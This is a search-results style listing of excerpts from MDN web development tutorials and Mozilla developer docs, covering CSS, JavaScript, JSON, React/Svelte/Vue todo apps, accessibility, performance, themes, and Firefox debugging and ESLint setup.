... it is a good idea to know html, css, and javascript before working through this section. many of the techniques and best practices touch on multiple technologies. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules cross-browser testing (25–30 hour read/exercises) accessibility (20–25 hour read/exercises) modern tooling time to complete: 55–90 hours prerequisites it is a good idea to know html, css, and javascript before working through this section, as the tools discussed work alongside many of these technologies. how will i know i'm ready to move on? there are no specific assessment articles in this set...
CSS basics - Learn web development
his css (above) to your html document. otherwise, the styling won't change the appearance of the html. (if you haven't been following our project, pause here to read dealing with files and html basics.) open your index.html file. paste the following line in the head (between the <head> and </head> tags): <link href="styles/style.css" rel="stylesheet"> save index.html and load it in your browser. you should see something like this: if your paragraph text is red, congratulations! your css is working. anatomy of a css ruleset let's dissect the css code for red paragraph text to understand how it works : the whole structure is called a ruleset. (the term ruleset is often referred to as just rule.) note the names of the individual parts: selector this is the html element name at...
.... since <html> is the parent element of the whole page, all elements inside it inherit the same font-size and font-family. html { font-size: 10px; /* px means "pixels": the base font size is now 10 pixels high */ font-family: "open sans", sans-serif; /* this should be the rest of the output you got from google fonts */ } note: anything in css between /* and */ is a css comment. the browser ignores comments as it renders the code. css comments are a way for you to write helpful notes about your code or logic. now let's set font sizes for elements that will have text inside the html body (<h1>, <li>, and <p>). we'll also center the heading. finally, let's expand the second ruleset (below) with settings for line height and letter spacing to make body content more readable. h...
...der: 5px solid black; this sets values for the width, style and color of the border. in this case, it's a five-pixel–wide, solid black border, on all sides of the body. positioning and styling the main page title h1 { margin: 0; padding: 20px 0; color: #00539f; text-shadow: 3px 3px 1px black; } you may have noticed there's a horrible gap at the top of the body. that happens because browsers apply default styling to the <h1> element (among others). that might seem like a bad idea, but the intent is to provide basic readability for unstyled pages. to eliminate the gap, we overwrite the browser's default styling with the setting margin: 0;. next, we set the heading's top and bottom padding to 20 pixels. following that, we set the heading text to be the same color as the html backg...
Use JavaScript within a webpage - Learn web development
ties. in this article we're going over the html code you need to make javascript take effect. if you want to learn javascript itself, you can start with our javascript basics article. if you already know something about javascript or if you have a background with other programming languages, we suggest you jump directly into our javascript guide. how to trigger javascript from html within a browser, javascript doesn't do anything by itself. you run javascript from inside your html webpages. to call javascript code from within html, you need the <script> element. there are two ways to use script, depending on whether you're linking to an external script or embedding a script right in your webpage. linking an external script usually, you'll be writing scripts in their own .js files. if yo...
...rols (e.g., links and form input) in a logical order. if you use pointer events (like mouse events or touch events), duplicate the functionality with keyboard events. test your site using a keyboard only. don't set nor even guess time limits. it takes extra time to navigate with the keyboard or hear content read out. you can hardly ever predict just how long it will take for users or browsers to complete an process (especially asynchronous actions such as loading resources). keep animations subtle and brief with no flashing. flashing is annoying and can cause seizures. additionally, if an animation lasts more than a couple seconds, give the user a way to cancel it. let users initiate interactions. that means, don't update content, redirect, or refresh automatically. don't use car...
...l it. let users initiate interactions. that means, don't update content, redirect, or refresh automatically. don't use carousels or display popups without warning. have a plan b for users without javascript. people may have javascript turned off to improve speed and security, and users often face network issues that prevent loading scripts. moreover, third-party scripts (ads, tracking scripts, browser extensions) might break your scripts. at a minimum, leave a short message with <noscript> like this: <noscript>to use this site, please enable javascript.</noscript> ideally, replicate the javascript functionality with html and server-side scripting when possible. if you're only looking for simple visual effects, css can often get the job done even more intuitively. since al...
Test your skills: Multimedia and embedding - Learn web development
help — see the assessment or further help section at the bottom of this page. multimedia and embedding 1 in this task we want you to embed a simple audio file onto the page. you need to: add the path to the audio file to an appropriate attribute to embed it on the page. the audio is called audio.mp3, and it is in a folder inside the current folder called media. add an attribute to make browsers display some default controls. add some appropriate fallback text for browsers that don't support <audio>. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. multimedia and embedding 2 in this task we want you to mark up a slightly more complex video player, with multiple sour...
...at don't support <audio>. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. multimedia and embedding 2 in this task we want you to mark up a slightly more complex video player, with multiple sources, subtitles, and other features besides. ...
...ished example: download the starting point for this task to work in your own editor or in an online editor. multimedia and embedding 2 in this task we want you to mark up a slightly more complex video player, with multiple sources, subtitles, and other features besides. you need to: add an attribute to make browsers display some default controls. add some appropriate fallback text for browsers that don't support <video>. add multiple sources, containing the paths to the video files. the files are called video.mp4 and video.webm, and are in a folder inside the current folder called media. let the browser know in advance what video formats the sources point to, so it can make an informed choice of which one to download ahead of time. give the <video> a width and height equal to its...
Build your own function - Learn web development
st steps, functions — reusable blocks of code. objective: to provide some practice in building a custom function, and explain a few more useful associated details. active learning: let's build a function the custom function we are going to build will be called displaymessage(). it will display a custom message box on a web page and will act as a customized replacement for a browser's built-in alert() function. we've seen this before, but let's just refresh our memories. type the following in your browser's javascript console, on any page you like: alert('this is a message'); the alert function takes a single argument — the string that is displayed in the alert box. try varying the string to change the message. the alert function is limited: you can alter the message,...
...his is a message'); the alert function takes a single argument — the string that is displayed in the alert box. try varying the string to change the message. the alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else. we'll build one that will prove to be more fun. note: this example should work in all modern browsers fine, but the styling might look a bit funny in slightly older browsers. we'd recommend you doing this exercise in a modern browser like firefox, opera, or chrome. the basic function to begin with, let's put together a basic function. note: for function naming conventions, you should follow the same rules as variable naming conventions. this is fine, as you can tell them apart — functio...
... we wanted to show something interesting for this example. calling the function you've now got your function definition written into your <script> element just fine, but it will do nothing as it stands. try including the following line below your function to call it: displaymessage(); this line invokes the function, making it run immediately. when you save your code and reload it in the browser, you'll see the little message box appear immediately, only once. we are only calling it once, after all. now open your browser developer tools on the example page, go to the javascript console and type the line again there, you'll see it appear again! so this is fun — we now have a reusable function that we can call any time we like. but we probably want it to appear in response to us...
Working with JSON - Learn web development
. inside this object, we want to access the powers property, so we use ["powers"]. inside the powers property is an array containing the selected hero's superpowers. we want the third one, so we use [2]. note: we've made the json seen above available inside a variable in our jsontest.html example (see the source code). try loading this up and then accessing data inside the variable via your browser's javascript console. arrays as json above we mentioned that json text basically looks like a javascript object, and this is mostly right. the reason we said "mostly right" is that an array is also valid json, for example: [ { "name": "molecule man", "age": 29, "secretidentity": "dan jukes", "powers": [ "radiation resistance", "turning tiny", "radiation b...
...ject using: request.responsetype = 'json'; but sometimes we aren't so lucky — sometimes we receive a raw json string, and we need to convert it to an object ourselves. and when we want to send a javascript object across the network, we need to convert it to json (a string) before sending. luckily, these two problems are so common in web development that a built-in json object is available in browsers, which contains the following two methods: parse(): accepts a json string as a parameter, and returns the corresponding javascript object. stringify(): accepts an object as a parameter, and returns the equivalent json string form. you can see the first one in action in our heroes-finished-json-parse.html example (see the source code) — this does exactly the same thing as the example we...
...'; // now we're getting a string! request.send(); request.onload = function() { const superheroestext = request.response; // get the string from the response const superheroes = json.parse(superheroestext); // convert it to an object populateheader(superheroes); showheroes(superheroes); } as you might guess, stringify() works the opposite way. try entering the following lines into your browser's javascript console one by one to see it in action: let myjson = { "name": "chris", "age": "38" }; myjson let mystring = json.stringify(myjson); mystring here we're creating a javascript object, then checking what it contains, then converting it to a json string using stringify() — saving the return value in a new variable — then checking it again. test your skills! you've reached the ...
Perceived performance - Learn web development
if the metrics discussed in the othser sections can't be improved. there is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). relevant measurements include first meaningful paint (fmp), largest contentful paint (lcp), time to interactive (tti), render start, dom interactive, and speed index. ...
...but, just because there's content, doesn't mean it's useful content or that the user has content to consume. ...
...ment when the last long task of the load process finishes and the ui is available for user interaction with delay. ui lack or responsiveness and jank both harm perceived performance. even though a task may take a long time, though, there are ways to make it seem faster. there are several tips to improving perceived performance. improving perceived performance understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. however, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed. how fast or slow something feels like it's taking depends a lot on whether the user is actively or passively waiting for this thing to happen. waits c...
Web performance resources - Learn web development
knowing this will help you understand how to improve the performance of the site. using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum. ...
... with a traditional fallback. <link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> <noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> the downside with this approach is the flash of unstyled text (fout.) the simplist way to address this is by inlining css that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling. these styles will improve perceived performance as the css does not require a file request. <style type="text/css"> // insert your css here </style> javascript avoid javascript blocking by using the async or defer attributes, or link javascript assets after the page's dom elements. javascript only block rendering for elements that appear after the script tag in th...
...ript assets after the page's dom elements. javascript only block rendering for elements that appear after the script tag in the dom tree. web fonts eot and ttf formats are not compressed by default. apply compression such as gzip or brotli for these file types. use woff and woff2. these formats have compression built in. within @font-face use font-display: swap. by using font display swap the browser will not block rendering and will use the backup system fonts that are defined. optimiize font weight to match the web font as closely as possible. icon web fonts if possible avoid icon web fonts and use compressed svgs. to further optimize inline your svg data within html markup to avoid http requests. tools learn to use the firefox dev tools to profile your site. pagespeed insights can...
React resources - Learn web development
r. you'll likely have app-wide styles and specific component styles that built on top of those. you can read more about component stylesheets in the create-react-app docs. react devtools we used console.log() to check on the state and props of our application in this tutorial, and you'll also have seen some of the useful warnings and error message that react gives you both in the cli and your browser's javascript console. but there's more we can do here. the react devtools utility allows you to inspect the internals of your react application directly in the browser. it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application. this screenshot shows ...
...hat are rendered from arrays. on the right, we see the props and hooks that our app component utilizes. notice, too, that the form, filterbutton, and todo components are indented to the right – this indicates that app is their parent. in more complex apps, this view is great for understanding parent/child relationships at a glance. react devtools is available in a number of forms: a chrome browser extension. a firefox browser extension. a chromium edge browser extension (available soon). a stand-alone application you can install with npm or yarn. try installing one of these, then using it to inspect the app you’ve just built! you can read more about react devtools on the react blog. the context api the application that we built in this tutorial utilized component props to pass ...
... create-react-app provides some tools for testing your application out of the box — you may have deleted the relevant files earlier in the tutorial. the documentation for create-react-app covers some basics for testing. routing while routing is traditionally handled by a server and not an application on the user's computer, it is possible to configure a web application to read and update the browser's location, and render certain user interfaces. this is called client-side routing. it's possible to create many unique routes for your application (such as /home, /dashboard, or login/). the react community has produced two major libraries for client-side routing: react router and reach router. react router is well-suited to applications with complex routing needs, and it meets some edge c...
Beginning our React todo list - Learn web development
/button> <button type="button" classname="btn btn__danger"> delete <span classname="visually-hidden">repeat</span> </button> </div> </li> </ul> </div> ); } now open public/index.html and change the <title> element’s text to todomatic. this way, it will match the <h1> at the top of our app. <title>todomatic</title> when your browser refreshes, you should see something like this: it's ugly, and doesn’t function yet, but that's okay — we'll style it in a moment. first, consider the jsx we have, and how it corresponds to our user stories: we have a <form> element, with an <input type="text"> for writing out a new task, and a button to submit the form. we have an array of buttons that will be used to filter our task...
...ally, the labels and inputs in our list items have some attributes unique to jsx: <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> the defaultchecked attribute in the <input/ > tag tells react to check this checkbox initially. if we were to use checked, as we would in regular html, react would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid. don't worry too much about this for now — we will cover this later on when we get to using events. the htmlfor attribute corresponds to the for attribute used in html. we cannot use for as an attribute in jsx because for is a reserved word, so react uses htmlfor instead. notes: to use boolean values (true and f...
... summary now our todo list app actually looks a bit more like a real app! the problem is: it doesn’t actually do anything. we’ll start fixing that in the next chapter! previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting sta...
Starting our Svelte Todo list app - Learn web development
ow things work in svelte, we can start building our example app: a todo list. in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...git opensas/mdn-svelte-tutorial/02-starting-our-todo-app remember to run npm install && npm run dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features this is how our todo list app wil look like once it's ready: using this ui our user will be able to: browse their tasks. mark tasks as completed/pending without deleting them. remove tasks. add new tasks. filter tasks by status: all tasks, active tasks, or completed tasks. edit tasks. mark all tasks as active/completed. remove all completed tasks. building our first component let's create a todos.svelte component — this will contain our list of todos. create a new folder — src/comp...
...the console should currently give you a message along the lines of "<app> was created with unknown prop 'name'". to get rid of this, remove the name prop from src/main.js; it should now look li...
TypeScript support in Svelte - Learn web development
pt code is valid typescript code; typescript is a superset of javascript. you can rename most of your .js files to .ts files and they will just work. our typescript code will be able to run everywhere javascript can run. how is that possible? typescript "transpiles" our code to vainilla javascript. that means that it parses typescript code and produces the equivalent vanilla javascript code for browsers to run. note: if you are curious about how typescript transpiles our code to javascript you can have a look at the typescript playground. first class typescript support has been svelte's most requested feature for quite some time. thanks to the hard work of the svelte team, together with many contributors, we have an official solution ready to be put to the test. in this section we'll show...
... will use it whenever we reference the current filter. replace your two filter-related blocks with the following: let filter: filter = filter.all const filtertodos = (filter: filter, todos) => filter === filter.active ? todos.filter(t => !t.completed) : filter === filter.completed ? todos.filter(t => t.completed) : todos $: { if (filter === filter.all) $alert = 'browsing all todos' else if (filter === filter.active) $alert = 'browsing active todos' else if (filter === filter.completed) $alert = 'browsing completed todos' } validate will still give us some warnings from todos.svelte. let's fix them. start by importing the todotype and telling typescript that our todos variable is an array of todotype. replace export let todos = [] with the...
...marked as ${todo.completed ? 'completed' : 'active'}` todos[i] = { ...todos[i], ...todo } } let filter: filter = filter.all const filtertodos = (filter: filter, todos: todotype[]) => filter === filter.active ? todos.filter(t => !t.completed) : filter === filter.completed ? todos.filter(t => t.completed) : todos $: { if (filter === filter.all) $alert = 'browsing all todos' else if (filter === filter.active) $alert = 'browsing active todos' else if (filter === filter.completed) $alert = 'browsing completed todos' } const checkalltodos = (completed: boolean) => { todos = todos.map(t => ({...t, completed})) $alert = `${completed ? 'checked' : 'unchecked'} ${todos.length} todos` } const removecompletedtodos = () => { ...
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
ttle deeper into svelte reactivity. reactivity gotchas: updating objects and arrays to see what's happening we can log the todos array from the checkalltodos() function to the console. update your existing checkalltodos() function to the following: const checkalltodos = (completed) => { todos.foreach(t => t.completed = completed) console.log('todos', todos) } go back to your browser, open your devtools console, and click check all/uncheck all a few times. you'll notice that the array is successfully updated every time you press the button (the todo objects' completed properties are toggled between true and false), but svelte is not aware of that. this also means that in this case, a reactive statement like $: console.log('todos', todos) won't be very useful. to find o...
...ssibility problems involving focus management. let's have a look at these issues. exploring keyboard accessibility issues in our todo app right now, keyboard users will find out that the focus flow of our app is not very predictable or coherent. if you click on the input at the top of our app, you'll see a thick, dashed outline around that input. this outline is your visual indicator that the browser is currently focused on this element. if you are a mouse user, you might have skipped this visual hint. but if you are working exclusively with the keyboard, knowing which control has focus is of vital importance. it tells us which control is going to receive our keystrokes. if you press the tab key repeatedly, you'll see the dashed focus indicator cycling between all the focusable elements o...
...e lines of "typeerror: nameel is undefined" in the console when you press a todo's edit button. so, what is happening here? when you update a component's state in svelte, it doesn't update the dom immediately. instead, it waits until the next microtask to see if there are any other changes that need to be applied, including in other components. doing so avoids unnecessary work and allows the browser to batch things more effectively. in this case, when editing is false, the edit <input> is not visible because it does not exist in the dom. inside the onedit() function we set editing = true and immediately afterwards try to access the nameel variable and execute nameel.focus(). the problem here is that svelte hasn't yet updated the dom. one way to solve this problem is to use settimeout() t...
Creating our first Vue component - Learn web development
uding values and methods. it’s important to know that content inside {{}} is displayed as text and not html. in this case, we’re printing the value of the label prop. ...
...nd not html. in this case, we’re printing the value of the label prop. your component’s template section should now look like this: <template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">{{label}}</label> </div> </template> go back to your browser and you'll see the todo item rendered as before, but without a label (oh no!). ...
...ummary and that will do for this article. at this point we have a nicely-working todoitem component that can be passed a label to display, will store its checked state, and will be rendered with a unique id each time it is called. you can check if the unique ids are working by temporarily adding more <to-do-item></to-do-item> calls into app.vue, and then checking their rendered output with your browser's devtools. now we're ready to add multiple todoitem components to our app. in our next artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks frame...
Focus management with Vue refs - Learn web development
focus should move to the "add" button. hit it again, and it'll be on the first checkbox. one more time, and focus should be on the first "edit" button. activate the "edit" button by pressing enter. the checkbox will be replaced with our edit component, but the focus outline will be gone. this behavior can be jarring. in addition, what happens when you press tab again varies depending on the browser you're using. similarly, if you save or cancel your edit, focus will disappear again as you move back to the non-edit view. to give users a better experience, we'll add code to control the focus so that it gets set to the edit field when the edit form is shown. we'll also want to put focus back on the "edit" button when a user cancels or saves their edit. in order to set focus, we need to unde...
... in our app in memory. any updates are first performed on the in-memory nodes, and then all the changes that need to be made to the actual nodes on the page are synced in a batch. since reading and writing actual dom nodes is often more expensive than virtual nodes, this can result in better performance. however, it also means you often should not edit your html elements directly through native browser apis (like document.getelementbyid) when using frameworks, because it results in the vdom and real dom going out of sync. instead, if you need to access the underlying dom nodes (like when setting focus), you can use vue refs. for custom vue components, you can also use refs to directly access the internal structure of a child component, however this should be done with caution as it can make ...
...all sorts of users, so only use it exactly where you need to. you should also almost never use tabindex > = 0, as it can cause problems for users since it can make the dom flow and the tab-order mismatch, and/or add non-interactive elements to the tab order. this can be confusing to users, especially those using screen readers and other assistive technology. now that we have a ref and have let browsers know that we can programmatically focus the <h2>, we need to set focus on it. at the end of deletetodo(), use the listsummary ref to set focus on the <h2>. since the <h2> is always rendered in the app, you do not need to worry about using $nexttick of lifecycle methods to handle focusing it. deletetodo(todoid) { const itemindex = this.todoitems.findindex(item => item.id === todoid); t...
Tools and testing - Learn web development
, and learn more tips and tricks, you'll start to come across all kind of tools, from javascript frameworks, to testing and automation tools, and more besides. as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. on top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the web, and be usable by people with disabilities. working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool ar...
...ject without danger of them overwriting each other's work, and roll back to previous versions of the code base if a problem is discovered later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. ...
...code base if a problem is discovered later on. the most popular vcs (at least among web developers) is git, along with github, a site that provides hosting for your repositories and several tools for working with them. this module aims to teach you what you need to know about both of them. cross browser testing this module looks specifically at the area of testing web projects across different browsers. here we look at identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. ...
Accessibility information for UI designers and developers
nsider using patterns besides colored areas: again, if people are unable to distinguish the colors, they can rely on the patterns instead. see also: understanding sc 1.4.3: contrast the focus indicator users who navigate by keyboard (or other specialised input methods), rely on focus styles to see where they are on the page. only one element has focus at a given time, typically revealed by browsers with a dotted outline. css lets authors change what the focus indicator look like, so you can design it to match branding. here's an example of someone tabbing through a footer, the focus moves around: note: don't remove the focus indicator, as without it, users that can't or don't use a mouse cannot see where they are. it would be like removing the mouse indicator. see also: understandi...
... match branding. here's an example of someone tabbing through a footer, the focus moves around: note: don't remove the focus indicator, as without it, users that can't or don't use a mouse cannot see where they are. it would be like removing the mouse indicator. see also: understanding sc 2.4.7: focus visible be ready for resizing and custom styles on the web, users can use tools in their browser to make font sizes larger, or even provide custom css to meet their specific needs. ensure your design is flexible enough to allow for this. text sizing users should be able to enlarge their text size up to 200 percent without breaking functionality. text spacing users should be able to make the following changes to their text spacing: set line height (leading) to at least 1.5 times the ...
...pecifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors. or provide an opportunity to review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select element displays an ideal mobile interface on mobile operating systems like android and ios. on desktop with a keyboard, it lets people type a character, say ‘k’, to jump directly to options starting with ‘k’. it is recommended to use native controls, visibly or under the hood. links vs buttons to keep your interface ...
Mozilla Plugin Accessibility
this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc. if the plugin needs those keystrokes, the can consume them and not pass them on. ...
...this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc. if the plugin needs those keystrokes, the can consume them and not pass them on. ...
...this will allow keyboard users to still access menus, close the current page, scroll, move back and forward in history, etc. ...
Lightweight themes
e sometimes referred to as "background themes" or, (on addons.mozilla.org) as just "themes". how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui background. finished your design? you can submit it right now! creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best;...
...ress bar, search bar and the tab strip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window. the upper right-hand side of the image should have the most important information - as a user increases the width of the browser window, the browser reveals more of the left-hand side of the image. ultrawide monitors can run to 3440px wide, to look good on t...
... photoshop — tweak, rotate and touch up photos with photoshop® express, a free online photo editor. submitting your theme image to get started submitting your images, go to the theme submission page: name your theme — pick a unique name for your theme. ...
Add-ons
most common type are extensions. developing extensions in the past, there were several toolsets for developing firefox extensions, but as of november 2017, extensions must be built using webextensions apis. other toolsets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported. ...
...sets, such as overlay add-ons, bootstrapped add-ons, and the add-on sdk, are no longer supported. extensions written using webextensions apis for firefox are designed to be cross-browser compatible. in most cases, it will run in chrome, edge, and opera with few if any changes. they are also fully compatible with multiprocess firefox. you can see the apis currently supported in firefox and other browsers. extension workshop the firefox extension workshop can help you develop extensions for firefox and give your users simple, yet powerful ways to customize their browsing experience. you’ll find: overview of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your publi...
... developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer communities extensions for firefox for android in 2020, mozilla will release a new firefox for android experience. this new, high-performance browser for android has been rebuilt from the ground up using geckoview, mozilla’s mobile browser engine. we are currently building support for the webextensions api on geckoview. migrate an existing extension if you maintain a legacy extension, such as an xul overlay, bootstrapped, or add-on sdk-based extension, you can still port it to use webextension apis. there are some porting resources on f...
Creating MozSearch plugins
r creating search plugins for installation from the web, see creating opensearch plugins for firefox the plugin file the mozsearch format is similar to the opensearch format. the only difference is the root element and xml namespace. ...
...ahoo! search engine plugin and enters "mozilla" in the search box and presses the enter key. ...
...oz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element. example: searching mdc this plugin lets you easily search the mozilla developer center web site. ...
Debugging on Mac OS X
local builds. the differences are explained below. try server builds in most cases, developers needing to debug a build as close as possible to the production environment should use a try build. these builds enable hardened runtime and only differ from production builds in that they are not notarized which should not otherwise affect functionality, (other than the ability to easily launch the browser on macos 10.15+ -- see quarantine note below). at this time, developers can obtain a hardened runtime build with the com.apple.security.get-task-allow entitlement allowed by submitting a try build and downloading the dmg generated by the "rpk" shippable build job. a debugger can be attached to firefox processes of these builds. try builds use the developer.entitlements.xml file from the source ...
...cheme (for example, "debug"). after you click ok, xcode should open the settings window for the new scheme. (if not, then open its settings from the product > edit scheme menu.) select "run" on the left-hand side of the settings window, then select the "info" tab. set the executable by clicking on "none" and selecting "other...". a new dialog titled "choose an executable to launch" will pop up. browse to the .app file that you want to debug (firefox.app, nightlydebug.app etc). the .app file is typically found inside the dist folder in your build directory. if you are debugging firefox, thunderbird, or some other application that supports multiple profiles, using a separate profile for debugging purposes is recommended. see "having a profile for debugging purposes" below. select the "argument...
...ith lldb. using mozilla-specific lldb commands if you included the .lldbinit when setting up lldb, you can use mozilla-specific lldb commands in the console, located in the debug area of xcode. for example, type js to see the javascript stack. for more information, see debugging mozilla with lldb. debugging e10s child processes using xcode to debug child processes created by an e10s-enabled browser is a little trickier than debugging a single-process browser, but it can be done. these directions were written using xcode 6.3.1 complete all the steps above under "creating the project" from the "product" menu, ensure the scheme you created is selected under "scheme", then choose "scheme > edit scheme" in the resulting popup, click "duplicate scheme" give the resulting scheme a more des...
Debugging on Windows
++ project for firefox please refer to the documentation on firefox-source-docs. changing/setting the executable to debug vc++ 6.0: to change or set the executable to debug, go to project > settings..., debug tab and select general from the drop down list. "executable for debug session:" should show the executable you are debugging. ...
...you can also redirect the console output to a file (by adding "> filename.txt" for example, without the quotes). in vc 7 and 8 this option is called project > properties > debugging > command arguments. ...
...ging > command arguments. vc 8 also allows you to set environment variables there. setting breakpoints in dlls which are not yet loaded in memory vc++ 6.0: go to project > settings..., debug tab and select "additional dlls" from the drop down list. check "locate additional dlls" option. for each dll, click the "new" button which creates a new entry and then hit the "..." buttons which lets you browse to the dll. you will only be able to add one dll at a time. vc++ 7.0 automatically finds additional dlls. customizing the debugger's variable value view you can customize how visual c++ displays classes in the variable view. by default vc++ displays "{...}" and you need to click the small + icon to expand the members. you can change this behaviour, and make visual c++ display whatever data me...
The Firefox codebase: CSS Guidelines
st for rtl layouts, you can go to about:config and set intl.uidirection to -1. ...
...e shared directories contain styles shared across all 3 platforms, while the other 3 directories contain styles respective to their platform. for new css, when possible try to privilege using the shared directory, instead of writing the same css for the 3 platform specific directories, especially for large blocks of css. content css vs. theme css the following directories also contain css: browser/base/content/ toolkit/content/ these directories contain content css, that applies on all platforms, which is styling deemed to be essential for the browser to behave correctly. to determine whether some css is theme-side or content-side, it is useful to know that certain css properties are going to lean one way or the other: color - 99% of the time it will be theme css, overflow - 99% conte...
...e css. when importing your stylesheets, it's best to import the content css before the theme css, that way the theme values get to override the content values (which is probably what you want), and you're going to want them both after the global values, so your imports will look like this: <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <?xml-stylesheet href="chrome://browser/content/path/module.css" type="text/css"?> <?xml-stylesheet href="chrome://browser/skin/path/module.css" type="text/css"?> [1] -moz-appearance is tricky. generally, when specifying -moz-appearance: foo; you're giving hints as to how something should act, however -moz-appearance: none; is probably saying 'ignore browser preconceptions - i want a blank sheet', so that's more visual. however -mo...
ESLint
of rules that are used to analyse the code for correctness and style consistency. meeting these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted. setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint. vcs hooks hooks are available for mercurial & git, see using a vcs hook for more details. editor integration it is highly recommended that you integrate eslint into your editor. this lets you see errors in real ...
...port path=$path:/c/nodejs enabling eslint for a new directory remove the directory from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below. no-undef the no-undef rule is currently being enabled throughout the code base. here are some common issues: my script is imported into the global browser.xul scope. add a line like: /* eslint-env mozilla/browser-window */ or enable the rule in a .eslintrc.js if it will apply to the whole directory. my script is a frame-script, or includes items that loaded into content scripts: add a line to tell eslint to use the frame-script environment: /* eslint-env mozilla/frame-script */ my s...
...nt check it is listed correctly in tools/lint/eslint/modules.json using services.scriptloader.loadsubscript? you'll need to include the following just above it: /* import-globals-from relative/path/to/file.js */ do_check_eq, add_task not defined in a test directory. ensure there is a .eslintrc.js file that extends one of: "plugin:mozilla/browser-test" "plugin:mozilla/chrome-test" "plugin:mozilla/mochitest-test" "plugin:mozilla/xpcshell-test" see other test directories for how to do this. i need to test that something isn't defined. do something like: // eslint-disable-next-line no-undef it.does.not.exist(); need more help? join the #eslint channel on irc.mozilla.or...
Inner and outer windows
this article will try to explain the concepts of inner and outer windows. consider that when the user is looking at a document in a browser window, not only can the document the user is currently viewing change, but the document's contents can change. then add to that the concept of frames, whereby a document in a window can itself contain other documents, which in turn can contain more documents. in order to represent these levels of complexity, two "types" of window need to be considered. these don't technically refer to windows as the user sees them, but rather a perspective on what the user is looking at. windows and the bfcache an outer window is a browsing context; that is, the actual environment in which a document is presented to the user. this may be a window or a tab, or it might b...
...here's the trick, though: the inner window in essence pretends to be the outer window. ...
...here's the trick, though: the inner window in essence pretends to be the outer window. if the document currently being displayed asks "what window am i in?", it gets the outer window as the answer. ...
Commenting IDL for better documentation
n), so try to avoid slang and abbreviations when possible. if possible, avoid putting comments in the middle of the definitions of apis. if an interface is used as a parameter or as the type of the value returned by a method, please use the full name of the interface in the description of the method. this will help the tools generate proper links to help make the documentation easier to read and browse through. special commands you can use special commands in your doxygen comments; the ones listed below are interpreted by our tools. using these will help generate much higher quality documentation, faster, with less human intervention required. command details @brief description please only use this to provide a brief description of the interface, keep it short and to the point. do not in...
